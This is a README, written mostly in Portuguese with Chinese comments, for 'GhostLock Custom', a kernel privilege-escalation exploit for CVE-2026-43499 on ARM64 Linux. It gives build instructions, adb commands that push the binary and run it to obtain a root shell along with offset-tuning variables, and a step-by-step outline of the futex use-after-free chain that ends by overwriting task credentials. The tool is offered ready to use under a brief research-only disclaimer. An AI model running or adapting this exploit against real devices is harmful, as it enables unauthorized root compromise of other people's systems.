GhostLock Custom — Versão adaptada para CVE-2026-43499

Exploração de elevação de privilégios do GhostLock (CVE-2026-43499) para kernels Linux 6.x ARM64 não Android.

Características do kernel

Compilação

Compilação local (requer compilador cruzado)

make

Compilação com Android NDK

make android-arm64 NDK=/path/to/android-ndk

GitHub Actions (compilação na nuvem)

Após o push, a compilação é acionada automaticamente; basta baixar o artifact.

Uso

# 推送到目标设备
adb push ghostlock-arm64 /data/local/tmp/e
adb shell chmod 755 /data/local/tmp/e

# 获取 root shell
adb shell /data/local/tmp/e --shell

# 调整 pselect 偏移 (如果默认值不工作)
adb shell PSELECT_SHIFT=-4 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=-2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=0 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=4 /data/local/tmp/e --shell

# 指定物理加载地址
adb shell KPHYS=0x80000000 /data/local/tmp/e --shell

Variáveis de ambiente

Princípio da elevação de privilégios

1. Condição de corrida futex PI: FUTEX_CMP_REQUEUE_PI aciona o UAF em remove_waiter()
2. Sobrescrita da pilha pselect: o rt_mutex_waiter liberado cai no buffer stack_fds
3. Escrita na árvore PI: escrita em endereço arbitrário do kernel por meio de um fake waiter construído
4. Sobrescrita de cred: sobrescreve task_struct->cred com init_cred

Notas de adaptação

Esta versão é uma versão enxuta baseada em ghostlock-oneplus:

• Remoção do código de desativação do SELinux (este kernel não tem SELinux)
• Remoção do código relacionado a ashmem/configfs (este kernel não tem esses componentes)
• Remoção do código de instalação do KernelSU
• Remoção do vazamento do SLIDE KASLR (sem loggers/nfulnl_logger)
• Remoção de código específico do Android (miniADB etc.)

Solução de problemas

Aviso legal

Esta ferramenta é apenas para fins de pesquisa em segurança. O usuário é inteiramente responsável por todas as consequências.